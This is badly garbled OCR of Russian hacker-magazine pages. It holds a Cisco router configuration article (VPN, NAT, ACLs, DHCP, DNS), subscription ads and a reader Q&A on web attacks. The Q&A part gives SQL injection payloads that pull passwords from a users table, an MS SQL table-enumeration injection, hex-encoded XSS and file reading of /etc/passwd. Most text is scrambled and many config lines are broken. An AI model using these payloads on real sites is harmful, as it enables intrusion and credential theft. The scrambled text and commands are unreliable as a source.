cisco(config~if)~ip-address

! 13KllKl··laeM vp(ln

active active

cisco (config) Fa'

skipped

cisco(config)

4vpdn-group 1

cisco (conf .i.g-vpdn) "L'equest -dL<tlin

192.168.1.254255.255.255.0 cisco(cOnfig~if)#AZ

#Vpdll enable

! C03JJ;aeM rpynny C HQM8POM 1

MOlKeWb nonpo60BaTb nponuHroBaTb I<oro· HH6Y.llb. ){OJDKHono.rryqHTbC1t.

B Ka'leCTBC

nOCJIeAHee, <iTO Heo6xO,llHMO CAe..13Th- .ll06a­

ynpa>t<HeHUJI cOBeT)'lO nO~KJno'n1Tb OCTaJIbHble

BlITb iPH3H'-IecKHH IfHTepl'eHc B H}'>KH1>JK HaM

cent nOaHaJlOfHH cTeM, KaKMblTOJIbKO 'ITO

vlan:

C~enaJiH. COBeryJO TaIOI<eJJ.06aDJI.Il:Tb onHCaHl1e

! YK<:l3bJBaeM npOTOEon COeIl,¥IHeHlHl

cisco(config-vpdn-req-in)#profocol pptp cisco(config-vpdn-req-in) hotaxy­ group 0

K ~lH"1"ep4>eHCY C nOMOll.lblO KOMaH,ll,b1 de~cription,

! 'lK8:?><>JCfleI1 VPN cepe<>p

! KQH.¢l:1;:YDliIpyeM H:-l1'E:rQle;;,c

KOTOPYlO Heo6xo~HMO BBO~HTb B pe)I(HMe KOH­

cisco(config-vpdn) #initiate-to ip _vpn_

Eastethernet 4

<pHrypHpOBaHH.II HHTep<flerlca. 3TO Heo6.113aTenb­

server~lp_

cisco(config)~int

fa4

HM npoue.a.ypa, HO'lJepe3 HeKoropoe BpeM.R. 6e3

! Twn rJOp-:-8 (MC:i\et' Obl-:-'!;, eur.... trtmk}

TaKHX nOMeTOI( 6Y.lleT CJlomHO pa306paTbCfl, '-ITO

nOIDITHoe J];eJI0, 'lTO BMecTO "_ vpn_servecip_"

clsco(config-if)#switchport mode

K'-IeMyOTHoCHTCJI.

He06xo,ll.HMO nO,ll.CTanHTh IP-3,[1pec cuoero VPN­

! ,l106dB!15Il:'M 3TO'1' nopT 90 BTOPOt1

vlan cisco(ccnfig-if)~switchportaccess

COEAI1HEHI1E C PPTP-CEPBEPOM KOrAa

KOTOpOM )'KIDKeM rrapaMeTphl COe,[lHHeHHH:

fI nOI<yTlaJI Q.HCK)', TO nOJlara.n, '-ITO ycraHOBHTb

vIan 2

CQeAJ1HeHl1e CVPN-cepBepOi\1 no npOTOKOJI}'

! HilCTpaI1B<1eM v,HTep$ei1c VPN-KJIMeK'I'd

PPTP- npocrM33Aa'-la. Ha ,ltene OKa3aJIOCh, <fT()

cisco(config)#interface DialerO

cepnepa. Tenepb C03J];3eM caM lfHTeprpei1:c, Ha

access

nOCMOTpHM, '-lTQ nony'IHJlOCb:

clsco#sh ip int brief vlan 2 Interface-IP-Address'OK?'Method'St atus·l?rotocol XAKEP 05/1251 09

)J;eBaik }'MeeT Coe,a:HH,RTbCfI TOJlbKO no nPOTOKOny

L2TP. nporyrJlltB3TOT Bonpoc, l'I HaUIeJI perneHHe.

cisco(config-if)nmtu 1440

KOTOpoe MHe 1(.3)KeTOI60JlbUIe xaKOM, 'tJeM

! ABTOMaTI1'-1eCKI1 nO.rJ"Y'-lClTb IP-a.lJpec ciscolconfig-if)ijjpaddress negotiated

)J;OKyMeHTHpoBaHHOH: B03!\fO:>KHOClblO. H~f)KeC­ JletU'IO~ KOM3H)l.a

He nOflBJUle1TIl no Ha>KaTIlIO

~135


» :: 'i

.~~~ -

.w>

.~.!"'- ~~--

U'--:;·-Ib';':::--­

~ ?'._~" .. ::.ET-­

---~,~o:,.__ ,,---"--'-U.~.

~~.~-~~~.-

."",1" c'HO

C,OCO DocuIMn13bGn

~~t~~~:~f§t~i~:£;;~~~i;~

----1--- ­ -------- - -­ ­ --,-_... I

00n1Ol! __ c... q""

::I

I"""."

s. ,"-. """_ _

)5

~"

.,

~

~

~

~

-I

3

3 3

...."

olIllM-.."-_

~ ~

<UlI""' .....

·_'"'''.'·01...·

~

o'c.uU>.

~,

= "7":'

...... ._" ..r;,._ '_""m,,"',

""-'

• '-..."n·C ....· "

.~

............ ,""".,""-..

·,..·......""'··· ...z, ....... .~l":"£>.u

._,~

.""

j,_

r.-.I"r>lIA·o.",,~

G..

.•.. ,.

.... I..I.~_ ..... I.,,~I• ....,

I:

I

ri·T~I ... _ · j _'...-:<-r..---;:;;::-­

O<pl'IlIVlal1bH311 ,QOKyMeHTallVls:l aT Cisco Systems

!

81!i.Iro.n:ap5i

Bee rna l3

)luHHOH

COCTO.l1HHI1

~

info

• Cisco IDS -

MHO­

KO!-laH,D€ liau, M:-iTep<1leik

6YA€ ' l'

H.A}'lil.l1e H3 HaWltX ceTeH. TaK H nocrym1M:

·up·

cisco{config)#ip route D.G.O.O 0,0.0.0 I$Pl_GW

BblC'I'al.JJ1$1e~j I1HKanCYJ1.11UVK) PPP

cisco(config-if}#encapsulation DPP

MapwPYTAo6aBI1JlH. Tenepb C03AaeM Access List. OR 6y.a.eT

cisco(config-if} ffdialer in-band

JIOBUTh Heo6xol\UMble HaM naKeTbI, Ao'UlI<OTOpbIX H)0J<HOAe.n.aTb

cisco (config- if l #dialer idle-timeout 0

NAT. Opoury 3aMeTHTb, "ITO B,D;aHHbIX npaBIlJIaX HcnOJlb3yeTOI

LH1OHHaI'101CTeMa,

cisco(config-iflltdialer 5(:.["ing 123

He 06bl t lHM MaCKa, a HHBepTHan;

BblnOflH5llOll.laS'l

cisco (conf ig- if) #dialer vpdn

J03aAa4Ha~ on

4lYHKl..\I-ll-1

epa­

ceTeBOI1 op­

!

HOMep dialer-Ii st 'a -

AnSI

npOCMOToa nO,llXo.o..>:­

lU,l1X lldHHb(X

TL-nal..\ltllll, KOMMYTal..\I-H1

cisco(config-iflHdialer-group 1

ltl

! OTpy6ael--'j

nepC?,lJ,a~l.r1

)J,aHHbIX.

!

C03.o.aeM access-list !lonep 1

cisco fconfig;' #access-list 1 permit

raH1133111-lltl, Mapwpy­

na.u.neplKKy cisco discovl:J"Y protocol

Hll. 3TOM nHTep<peiJrce

• ell -ltlHTep¢ei1c

192.168,1.00.0.0.255

cisco(config) !iaccess-l isL 1 permit.

192.168.3.00.0.0.255

cisco (config-if) #no cdp enable

KOMaH,QHOI1 CTpOKlIl

! YKd3b1BaeM ,<or-m1 I-l napOJ1b ,o,n.l1 aY'TetiTl-1Q;lltlKam1:1

BBeAeHI'-LbJi1 ACL He npHMeH.ReTCfI Ha HHTepq,eHCe,lJ,JlJ{ pa3rpa­

Cisco IDS.

ciscofconfig-if) IIppp chap hostname _login_

HHqeHmI .aOCTyna, H npaBHJIa permit H deny CJIeAYeT nOHH­

cisco tconfig-if) #-ppp chap pass,,"'ord 0 _

MaTh He KaK "pa3peUlHTb>1 HJIH «3anpeTIITb», a KaKopOCMOTp

• DyniJmips -llporpaM­ MHblf13Mymrrop MapW­

passHord_

nOAX0,lVlIUHX (permit) H HenOAXOAfI.ll.\HX (deny) naKeTOI3. OPI1 HaOHcaHHH NAT·npaBHJl HaM npl-JlleTaI YKa3aTb <tApeca I-1.CTO'l:­

pYnl3aTOpoB Cisco.

11.a06aMaeM dialer-list, rAe 6ypyr 3al\aeaTbOi TIfnbI.l\aHHblx (B

HUKOB, KOTopble He06xo,lI;HMO 6YAeT3aMeHHTb. I1MeHHO,lVlR

n03BOJIfleT 3Myl1VlpO­

HaweM cnyqae- BeCh npoToKOJIIP), KOTophle 6YAYT 3acraB­

3THX UeJlei1 HaMnpHro,lJ.HTCR lIaw ACL. BIITOre, c.xeMa BblrJUl­

oaTbannapaTHyfO 4aCTb

AATh IJ;HCKy ycraHaRllHJ3aTh coe,n:HHeH ue:

Mapwpyn13aTopoB, He­

noCpe,ll,cmeHHo 3arpy­

cisco(config) #dialer-list 1 protocol ip permit ! VKa3blBa",M B KB.'l€CTSe

C peal1bHblMIIl o6pa3aMIIl

BOT Bpo,n:e 6hJ Il

Cisco lOS Pa50Tael

,n:OJDKHO npoHTH HopManbHO. IIpoBep.lleM:

Ha

AHTTaK: <tApec l1CTO'l:HHKa 6Y.lleT MOtn-tqmUHpoB3ThCfl TOJIbKO B

Tex rraKeTaX, KOTOPhlC no.llOIII.llH no.a.3TOT ACL.

)KCI5l Vl B3a\.1MOAe~CTSY5l

Bee. Terrepb cOetJ.HReHl1e cVPN-cepBepoM

:vrcxOA'ib:x

c.,o,gecoB

access-list 1

cisco (config) #ip nat: inside source list 1

interface Vlan4 overload

Windows.6011bWI1HCTSe Linux~cl.r1cTeM,a TalOKe

cisco*sh ip int dialO

Ha MacOSX.

InlerEace-!P-Address·OK?·Method·Status·Protocol DialerO,xxx.xxx.xxx,XXX·YES.IPCP·up·up

3.a.eCbMbl MeIDICM a,lJpeCaHa a,a,pec I1HTep<peHea vlan 4. B

3aBepJDaIOII\eU CTaD,HH HaM l-I)?KHO y1<3.3aTb, KC!KHe HHTeM?ellCW f1BlWlOTaI BH)'TpeHHHMH, a Ka'KHe -

• nO,ll,p06Hee 0

:

nOllH3s:l VlH410PMalll'lS'l

o poyrepe

cisco (config- i f l # ip pim dense-mode

!

.

BbIBO,Q KOMaHAbl «show verSion» -

BHeWHI1Ml1.l!:CJIaeTCR 3TO c

VLAN'ax ltl C03,ll,a­

Hl1l-1sLtlpTyaJlbHoi1

JlOKaJ1bHO~ CeTLtI '·nnal1

COe,lJ;HHeHHe ycneuIHo yCTaHoBJIeHo! nepexo.n:HM KcaMoMy

nOMOWbfO KOMa.H,!l; «ip nat inside» H «ip nat outside>, cOOTBeTcrBeH­

IoUlTepecHoMy - BblnyCK nOJIb30BaTeJleH BHHTepH'er.

HO. KOM3.HAbLBBOAlITC.Il npH KOHqmrypnpoflaHHH mrrepqleHca:

B CTaTbe «WaMaHcTBo

HATHM nOnb30BATEnEM KaKCKa3aHOBTeX3a,aaHHH,HaM

cisco (config) ilint vI an 2

ha,Q Blo1Jllla Ha MIrt»,

HeOOXOI\HMO BblllycKaTh nOllb30BaTeJleH B HHTCpHeT'lfepe3 nep­

cisco(config-if) Iiip nat insid.e

ony61llrtKOBaHHoi-i B

BOro npona.J".fAepa, a BToporo OCTaBHTb TOJlhKO WUf DHeWHHX

cisco(config-if) !lint vlan 4

cepBlicoB. CaMbIM npOCTblM 6ytJ;eTycraHOBHTb,lJ,e4!OJITHbli1

cisco(config-if)#lp nat outside

>lHBapCKoM

HOMepe

I3a 2009 roA

~

136

I

Mapwpyr Aa nepBoro npoBait..a.epa HNAT'l-ITb Bce naKeTbl,

XAKEP 05/1251 09

--+


B npouecce HaCTpO~KI-1 VLAN

Cisco 1721. BIo1A C3aAIo1. CnpaBa HaXOAVlTCfl MOAYllb WtC-4ESW, ClleBa­ Cisco 1721. BIo1,Q cnepeAIo1

Serial nopT

B3TOM CJIY'l.ae vlan2 $lBJUleTCa BHyrpeHHeH ceTbKl, a vlan4 -

BHewHeH.

101

no l..\eHTpy -

Console

pi:l3pemllDIli}1!-lH npaB}l.'laHM nwmeM 3<J.opeIll8101IlJ.1e

Cn.eAYJOlll;I1MWaroM6YACTnCpeH3­

cisco (config) #access-list 100 deny tcp host 10.10.20.2 eq ww';/ 192.16B.l.0 0.0.0.255

npaBJleH\:te BCex ~aJiHblX OT aHeWHHX KJlHeHTOB K BHYTpeHHHM cepBepaM. He

cisco(config}#access-list 100 deny lcp host 10.10.20.2

HCnOnb3YEM BHEWHME PECYPCbl

0.0.0.255

CTaHeM cpa3Y nepexop;llTb KH3crpoHKe, a Cl-Ia'la.Jl3 pa.J6epeMCH, KaK:ITO AOJDK­

eq www192.16B.3.0

HO pa6OT3Tb. HTaK, H3 DHernmrn HHTep¢eHC npRXOtvIT 3aIlpoCbI Ha. noPT 80.

cisco(config}#acCess-list 100 permit tcp host 10.10.20.2 eq WW\o"J any

Hawa WiCKa nepeH3npaBJIfleT rro.nyqeHHhle ~aHHble Web-cepBepy, KOTOpblH cTom 13 DMZ. TIocne o6pa6oTKHp;aHHblx Web-cepBep H3'l.HH3eTOTBe'l3Tb, Ii T)'T B03HHKaeT 6oJIhllIa5I rrpo6J1eMa. Ofl3CT rrorratJ:aer K IJ;HCKe, y Koroporr

OepObletWanpaBHJla deny 03HaQalOT, 'YTO K naKeTaM, H,AyllJ,11l\1 OT Be6-cepBe­

default route CTOHT ISPl_GW -llMeHHO 'lepe3 3TOT IUJlI03 OHa em 11 OTIlpasHT. Eom HenOHaTHO, B 'leM KOC.IIK, TO rrpe,>J;CT3Bb CHTY3l\HIO, KOT'/J;3 TbI cnpaWI1IJ3­

pa KJ10KaJlbHblM ceTflM, He 6YAeT npHMeHflTbCR

nQJIllTHKa Mapwpynf3aUMl1'.

A OCT<lJ!bHble nal<erbl nona.lJYfB nOJlHTHI<yWEB:

eWh yKom-To «KaK,LJ;eJIa", a OTBe'l.aerTe6e COBepIl1eHHo~pyroH,He3HaKOMhIH '{MOBeK. Ha He3HaKOMl\a TbJ, eCTeCTBeHHO, BHHMaHfUI He 06paru:aelIlb. Tyr

cisco (conEig) #route-map v/E8 permi t 10

onyaqIDI 3HaJIOfl1'lHa: 3anpocMbI OTnpaBJIJIHHa o,1l;lIHIP, a OTBeTUpHWeJI C

! Onpe.n:enJoleM of)n"C1'!'> .o.~l1c'r.,Vlj.i nOJlMT11KVI - TOllbKO Hd dZlPC­

KaKOrQ-TO cOBepweHHo JIeBoro. I1cnpaBJUITb 6ytJ;eM c nOMoW;hlO Policy Based

ca. no.nnaAdA)U(14C no,o. access-l i st 100

Routing. Heo6xo~HMO co3,iJ;aThACL, orrpetJ;e.IDllOlll;HH rr3KeTbl, KOTOpble.D;OJDK­

cisco (config-route-rnap) #match ip address 100

Hbr 6b1Th OmpaBJIeHbI 'lepe3 KaHan: BTOporo npoBaii,r(epa:

cisco (config-route-mapl #set ip next-hop 172 .17.0.1

C03ll:aeM

pacillwpeHHLlfl access-list

HONep

100

TaK KdK D pacllmpeHHblx -'l}:CTi:J.X l-OeT OTPI1l.\dHY.il:, TO nepe.r\

XAKEP 05 /125/ 09

,l{HpeKTHSa match yKa3biBaer, K3KHe.n;aHHbie nOnatt8lOTnoA3Tyno.nHTm<y;

"OMaH,ll,a "seL ip next-hop» 3a.n;aeTc:ne,ll,YJOIJ.IHH hop.,ltIuI nQJJHoro C'laCfbf[OC~

~

137


.~

_ 3JIllqHhle

KOMIIOHOBKll

Cisco lOS

• IP B.ase - Ha·-l.aAbHI>IlJ ypoBeHb '+l'yHKU,UOH.aAbHOCTU.• 8KAIO'-laeTCl'l eo Boe gpyrue «featut"e sets». OE:ecne'-lUeaeT e;a30BI>II.J pOYTUHr~ TO eCTb cT.aTIJ'-leCKUe MdpWpyTbl, RIP, OSPF, EIGRP, TOAbKO H.a IPv4. BKAIO'-ld€'T VLAN (802.1 Q u ISL) u NAT. • IP Set"vioes (gMll3 CBU'1eu) - npoToKoAblguHaMU'1,=,cKOIJ MapLLJ­ pyTu3au,uu, NAT, IPSLA. • Advdnco?d IP Set"vices-goe:aBMleTcflnoggep>+<Ka IPv6. • IP Voice -goe:aBAReT cpyHK....uoHaAbHc'cTb VolP u VoFR.

CMOTplo1M

Cm1CKIo1

Aocryna 101

CTan1CH1KY

no npoToKony IP

• Advanced Security - g06aBAfI€ ' TcflIOSlFirewall, IDS, SSH u IPSec (DES,3DESuAES). • Set· vice Pt"ovid€ ' t" Set"vices - g06.aBAAeTcflIPv6, Netflow,SSH,

TaJlOCb t,AeJlan. TpM 01.ieHb npOCTbLX .lleHCTBHfl. BO~nepBb1X, nepeHanpaBHTh

BGP,ATMuVoATM.

AaHHbre H311HTepneTa K Web-cepsepy. Bo-BTOpbIX, BblnOJlHHTb TpaHCJUlD)UO

• Enterpt"lse Base - goe:aBAfI€'TCl'l nOggep>+<Ka npOTOKOA08 IP>=: U

OTBeTOB OT Web-cepaepa. B-TpeTbHX, rrpH'MeHHTb 1l0JIHTHKYMapurpyrn3a­

AppleTalJ.::. Tdk:>+<e BKMO'1a.aTcl'lIBM f eatur€ ' s Tun.:! DLSw+, STUN!

I..I,H.H Ha HHTep¢eike, KOTOpblH CMOTPHT B DMZ.

BSTUN u RSRB.

ITepsoe,n;eHCTBHe ocyw;eCTBJUIeTCfI. BOAHy crpO'llcy:

cisco{configj ilip nat inside source static tep

_~'Jeb_

server_ip_ 80 xxx.xxx.xxx.xxx 80 extendable

DHCPTatOKeJl)'9we BblHCCTH H3 OT,Il;eJIbHblH cepBep, HO eCJiH HeTTaKOU B03MO>KHOCTH, BocnOJlh3yeMCJ:r BcrpoeHHblMH cpe.ll:CTBa:o.U1. HaCTpaHBaTb,

no cym, Hco6xOlUlMO rryJlbl, KOTOpble npHBR3blBaJOTDi KKOHKpeTHblM ce'ffiM BTopoe TalOKe He OTJIWmeTCH oc06ow CJI0)KHOCTbK>:

KOMali.n;oi{ network•.l{N1 KmK,llOro OYJla BblCTa8JUIlOTCfI cneu;mpH<feCKHe H3crpoHKH -a,n:peca DNS cepBepoB, ClAPeCAe¢>oJITHoro Mapwpyra, Wli'JS

cisco(config) Hp nat inside source list 100 interface

cepnepa 11 T.,n;.:

DialerO overload ! C03AaeM HanOMHHalO, "ITO HMJl BHeUIHero HHTep4>ei1:ca -

DialerO, H 'ITO Ha HeM Heo6­

XO~MO C)l:eJIaTh «ip nat outside», HHa'le IDS He GYACT NAT'H'Ib.@HHble.

TpeTbHM,n;eHCTBHeM npUMeHJl.eM nOJlHTHKY MapwpyTJoI3aD;HH:

cisco(config) #int vlan 5

cisco (conLig-if} #ip policy route-map \'JEB

B npHHl..vme, H3 nOM MO>KHO 6bUIO 6bI3aKOH'llITb HacrpoHKj' H8urero 6oeao· ro poyrepa, ec.nn 6h1 He ero B03MomHOCTH no pa60Te DNS n DHCP.

nepBbl~

nyn

ciscolconfig) llip dhc!,) pool FirstPool ! YKCl3blBdeM Ce'l'b cisco (dhcp-con f ig) IInetwork 192.168.1.0 255.255.255.0 ~ Cr:eLJ;1iPJ.l'leCKl'l8 IIdC-rpOi1KH cisco (dhcp-configj !t-defau.lt-router 192 .168 .1. 254 cisco (dhcp-config) #dns-server 192.168.1.25<: cisco(dhcp-config)ijdomain-name domain1

cisco(dhcp-configjlexit ! C03.4aeM BTOpO::1 nYll

cisco (conEiglllip dhcp pool SecondPool

HACTPOMKA l\I1CKI1 B KA~ECTBE DNS 11 DHCP CEPBEPA Boo6U1e

! YKa3b13ael-l CCTb

rOBopil, o60py,llonaUHe Cisco opHeHTHpon3Ho H3 MapWPYTH3<:lUHIO II KOM­

cisco (dhcp-config)

Myra.u,HfO ,Il;3HHbiX B cemx, HO HIIKaKHe H8 pa60ry B KaqeCTUe DNS-cepnepa.

! Cneml1>l1'-leCKHe Hac'!'po~iKH

fl.net~..ork

192.168.3.0 255.255.255.0

,lVm 3TOI'OJlyt1We BblAeJlHTb OT,Il;eJIbH)'lO MallLHHKy KJIH HCnOJlbJOBaTb y>Ke

cisco(dhcp-config)#domain-name domain2

cymecTBYlOlL(y1o. .H me nOKroKY npHMep H3crPOHKH cepBepa DNS 'tutCTO B o6pa30B3TeJlhHhlX uen.llx. HacrpoHKa CBO,ll;HTC.lI K YK333liHlO 3,1l;pecoS Bbl­

cisco (dhcp-config) ltdefault-router 192.163.3.2

cisco(dhcp-configjlldns-server 192.168.3.2

lIIeCTOlll.l..lHX DNS Ii, eCJIH H)')J{HO, C03A3HHfO KaKlIX-JIH6o BHYl'peHHHXJOH.

ciscO(dhcp-config)lexit

HIDKe rrpe,n;craBJIeH npHMep HacrpoHlffi CKOMMeHTapIDIMH: ! VK(l-:>bl1)lIeM DNS cepBepa npoB"ui.D,epa

cisco (config) J! ip name-server abc. abc. abc . abc cisco (conEig) Hip name-server bca. bea. bea. bca ! BK.'lJ::)'Ia€lM HdUi DNS

cepB,,,,:

! YK<13i:olI.1A,€M,

K;l,016 e.c;pera DHCP

He

6ygl?T npltlC::;d/lB2\Tb KflH­

eH'1'.:ll-l cisco (conf ig) # ip dhcp excluded-address 192.168.1 .200 192.168.1.254

cisco (config) #ip dhcp excluded-address 192 .168.3.

192.168.3.10

cisco{config) ihp dns server MHe KroKeTCfI, H<lCTpOHlm DHCP- ,lIOEOJlbHO npo3paYHM npoU;eAYPa,.11

! Co=,.naeM primary 30HY te~t cisco (configj IIip Clns primary test soa ns. test fDstmaster. test

Bonpocon Tyr6blThRe.n;OJDKHo. A ecJIH OHH H D03HHKtryT, TO B O$J.fQlfaJIbHOH

! .1lo6<1B;'l51eM ::l~mKb T;>lnD. NS

.£\0K'yMeHT31.(TU1 eCTb xopOWHe IIpl1Mepbl C o6'bRcHeHIDIMH.

cisco (config) #ip host test ns ns.test ! Jlo63u.n.s:rel-! 3anl1CM 'T'l1na A

cisco (configJ Hp host ns. test 192.168.1.254

cisco (config) #-ip host anyhost. test 192.168.1.250

~

138

YAA"I M! KOHe<fHO, n paMKax 0.£\110" CfaTbH f1epeaJIbHO paCKpblTb Bee TOH· KOcrH pa60Thl CI.J;l1CKaMJI, HO n H3;:\e..JOCb, tUO MHe Y~3JIOCbnOKa3aTb, l.J.TO He T3K CTpaweH qepT, KaK era MaJllOfOT. fJl3BHOe B3TOM/l,eJIe -

npaKTHKa. X

XAKEP05/12S/09


nonnMWMCb

nOAmtCKa - 3TO: • BblrOAa •

rapaHTVI~

• CepBliIC

www.glc.ru JIOIIUHr aSTOM06une"

carmuSIC

DUD>CPEIlr

Q:JO/3CtlU/

6 Mec. 415, 80 py6. 12 Mec. 778, 80 py6.

CTPAHA

iIIrp

6 Me<:. 2400, 00 py6. 12 Me<. 4AOO, 00 py6.

•.

... . WfF

.,

."'"' ~ .,

~..;

ff'!J1. ."

6Mec. 65l,40py6. 12 Me<:. 1188.00py6.

6 Me<. 1300,00 py6. 12 Me<. 2300,00 py6.

>l<EJ\Esa

6 Me<. 990,OOpy6. 12 Me<::. 1790,00 py6.

ToialFooibal1

OOBOARD

4 Me<. 466,00 py6. 8 Me<. 848,00 py6.

KOMnnEKTbl

6 Mec. 1080,OOpy6. 12 Met. 1960,00 py6.

GMec. 653,40py6. 12 "IEN.Ie16W1 . .,~y6.

Dye

6Me<; 670, 00 py6. 12M&. 1230,OOpy6.

XYJH1rAH.

6Mec. 12OQ.00 pyti. 12 MIle. 2100.00 py6.

skrpass

4 Mer. 466,00 py6. 8 Mec 848,00 py6.

Mountain Bike

6 Me<:. 534,60 py6. 12 Me<:. 99O,OOpy6.

6 MeC. 890,00 py6.

(gamelland MEAt.1A An51 3HTY3V1ACTOB


>> units ,

OJ)

o

o

~ o

o

o

C2) o

~~ o 0 •

o

MeHA nOCTOAHHO He KOHnMnMpYIOTCA3KnnoM-

Tbl AIUI

'leMMA root-npaa Ha ·nix-cepBepax,

BblAaaaH Bces

O)f(HbleOwJll6KM.

Y>Ke eCTb rOTOBble

Homel, rAe-TO

anycKY cnnoHTbl?

A: ,D,yMalO, He (10)1T ra OplATb. 410 Cn110I.1T,

c 60JlbWO~ eepOSlTHOCTblO

Hl-1TbC!=I Ha

-

CItlCTeMa ,D,JlI16bICTporOYAaneHV111 V1HcVopMau,l-1l-l

C ~eC1KI-1XAl-1CK08. 3anl-lCbIB<JeWb iSO'WHl-1K Ha CD

Q: ~ToAel1aTb.eenM BMeCTO BblBOAa HY>KHbIX no­

neil nonylo4alO Illegal mix of collations for operation

Itl11l-1 floppy, 8CTaBllfleWb npl-1 cl1eAYIOw,eM 3arpYJK€

'UNION'? A: Pa3Hbl€

l'18ce. ECTb B03MQ>KHOCTb Bbl6paTb:

ClIlCTeM l-l1ll'1 Linux.

KO.QVlPOOK\o'1, r.pl'1 3TOM e OWl-16.<€ He

yKaJaHO H33B3HV1e Hy:>+:::Hoi1l-aM. Ec.nLol ,D,OClynHbl

(.1CXG.QH VlKl-1 3Toro CKP':1nT3 [ems!' TO CMOTpVl.

Q)f(eT He 8b1nOn­

cepeepe iI '110 el1\€ xy)l(e

o

B,D,I1CKOBOA -

cOJ,D,aBaTb TaKOi1AI-1CKA/lfl CTl-1paHl-1\1 Windows­

TopOHHe~ MaWVlHe,

CKOMn>1f11.1pOeaHHblVl He

~)~

KaKa>l KOAl.1pOBKa l-lCno.nb3y€ T e>l

B 6a3e AaHHblx.

Q: nKwy Seeurity-aHanK3aTop phP-CKPMnTOB.

CTpyKTypa C03,D,3aaeMblx npl-1li1HCT8JlIl>l'-'l'1l-1

-\11 BeBee l<nO,ll,S€ C "'T» (\.1C1 My li1JH1 Bbl30eeT

MO>KeWb nOACKaJaTb npMMepbl y>f<e COCTasneHHblX

ra611/111..\ Haxo.QVlTC}1 e epal111€· _sqllinstall.sql.

kernel panic lXOHl TO >t<e caMO

perynHpOKAJlSI nOMeKa MJSeCTHblX 6aros?

(crnsname}.sql \1 T.n.l.

A: nOAo6HblL:! cKaHep Hanl-1CaH KOM3H,D,0i1 acid root

MO>K€T 6blTb TJf<I-1M;

Hy>KHOM

803MO;+:;HO,

,ll,a>Ke

eCJ11-1 Tbl CKOMmtJHlf1.3KCn

Ha

n03TOMY BcerAa nOn€ 3 HO

'-llt1T Tb KOMM€ H Taplt1lt1

C MOM cepeepel.

aalopa :H:cn.novna. DelBeJleH CMenOTona~noaApecy

TaM Tbl

Itt

Ha~AeWb TaKV1€

-1-1, COOTBeTCTBeHHO, npV1Mepbll-1X per3KcnoB

ble

EClH1 Ha Bee BbiUJeCKa38HHoe

~.

B V1CXO,ll,Hl-1Ke. e6e 3a6lt1Tb. TO

". hoolerb .ru 38€ C THbl€

cnnoV!­

·/fopenSspace\((.*}$userdat(.*j\)/i ·/mailSspace\((.*)Suserdat(.*j\l/i ·/\<\?\=Sspace(.*)Suse~dat/i

Tbl, K8K brk, hOOlyshit, plr e, mremap. raplor 10\ MHOrl-1eAPyrl'\(;!. CaMO C Tbl .QomKeH I-1CflOllb30 cepBepe

O~, Bee 3TI1 OTMbl4KItl

CMOTpLo1 CKpl-1nTbl Ha Al-1CKe.

Table structure for table' users'

CREATE TABLE IF NCT EXTSTS 'users'

'uid' int (8) NOT NULL

l\UTO~INCREME.).n,

'pass' varchar :30} COLLATE

latinl_general_ci DEFAULT NULL,

TbTOllbKO Ha e808M

:l.

Q:Cy~eCT

K npVlMepy. eO,D,ep)Kl-1MOe

'T nK SOJMO}l(HOCTb 6blCTPO, nporpaM-

Q: CKonMnCA ~enblM PAA Bonpocos nosql-MHb­

) ENGINE:=MyISAM DE::;'A.ULT

eKLt.MAN. Ha'4HeM no nopSlAKy. ECTbcTaHAapTHaA

CHARSET=latinl COLLATE=latinl_

sql-injection. nOA06pan KOnM'ieCTBO CTon6qoB. HO

general~ci

AU·rO_!NCREMENT=lO ;

KorAa AenalO union select, cepsep BblAaeT ~cNot Acceptable». A: CKopee acero, eCTb<pl-1llbTpal..\l-1l1. nonpo6yi1 YTO-H1Il6YAb spoAe UnioN

~

1140

n

SelEct.

HY)i(Ha}1 HaM KOAIo1P013K3 -latin', KOH€ 4 Hbli13anpoc' host/script.php?id=10 union select 1,2,

convert (pass usirlg latinl) from users

OJ) ()

XAKEP 05/1251 0'

~


v

o

~

o

~)

o

o

~ o

Q: AnA onpeAeneHMA Ta611MI.I BMS sal ,Renal<l

3H3ljVlT, nO,cJ.CT3BJll1eM ,cJ.pyrof1 ASCII-Koj:\ V1 T.,cJ.

KaSbIYKl-1. npOBepb cne,eJ,ylOl11V1e napaMeTpbl 8 php.

3anpoc Hhttp://host/script.cfm?Author_ID=9

CnpaSK3 nO¢YHKl\V1\1M MSAccess pacnOnO>KeH3

Inl:

or 1=ISELECTTOP 1 TABLE_NAME FROM

3,cJ.ecb - htto//wVvw tC'chonthenel.cDm/access/

NFORMATlON_SCHEMA,TABLES WHERE TABLE_

fUllClions/index dlpha,php.

magic_quotes=OFF # B GPC-3anpocax OTKn))\{aeM MarVl'-leCKI1€

NAME NOT IN ('Logins'll--», HO BMeCTO HalBaHMA cneAYIO~eitTa6nMLlblnony'lalO C006Ul.eHMe 06

Q; ECTb 06bl"'HaR MHheKLI~R, HO np~ 3TOM SiXSS He

60K;

oWM6Ke B CItHTaKCMce.

BbInOnHReTCR. LjTO MO>KeT 6blTb He TaK? CepBep

mysq1. trace_mode=ON

BblAaeT «Warning; mysql_fetch_array(J: supplied

OWV,60K

A: BKJlKJl.1eHa ¢V1JlbTpal..l\1\1 o6xo,o,a

3TOro OrpaH't1Y€ H \1\1

K3Sbl'-leK. ,[l,Jl\1 «'-japf'lN»

I¢YHKlJ,V1\1

charlASCII-KoA-cI1MBoJlall Ka>K,.o.bll1 (I1MBOfl

\1

o6bep,I1HR€M c nOMOll\bfO onepaTopa KOHKaT€Ha­

l..\vH18

MS Sql- «H. nOflyvaeM CTpOKy sp0)J,e ch

KiJ,B,,"\{Kh;

error_report ing=E_ALL It nOKd3 Oll1H­

ii

BKJI))~JeH nOKCt3

«MYCKyna;.>.

argument is not a valid MySQL result resource...H.

A: V1cnonb3Yf116-pV1YHble 3H3L1eHL1q CYlM80nOB. ECIlV1

MbI

XOTV1M nonYllV1Tb npoCToi1 anepT Ha BbIXO­

.Ae, TO CTpOKa <scripbalertl)</script> B hex 6y,cJ.eT

Q: He MorynoHSlTb, KaK ...epe3 cnenyto MHbeKLI~to

MomHO npocMaTpMsaTb41aiinbl Ha cepBepe?

A: ECTb ¢a~n /etc/passwd, era HaljaJ1O:

a rll 081+cha rll111+cha rll 03J+charl 105) +cha r( 11

SblrJl>ij:\eTb T3K: Ox3C73 63 7 2 6 97 07 43E616C6 5

root:x:O:O:root:/root:!bin/bash

Ol+charl1151. Ho eCllA BblnOflH\1Tb 3anpoc, TO Mbl

72 7 42 82 93C2F7 363726970743 E, VI KOH€YHbli1

bin:x:1:1:bin:!bin:/sbin/nologin

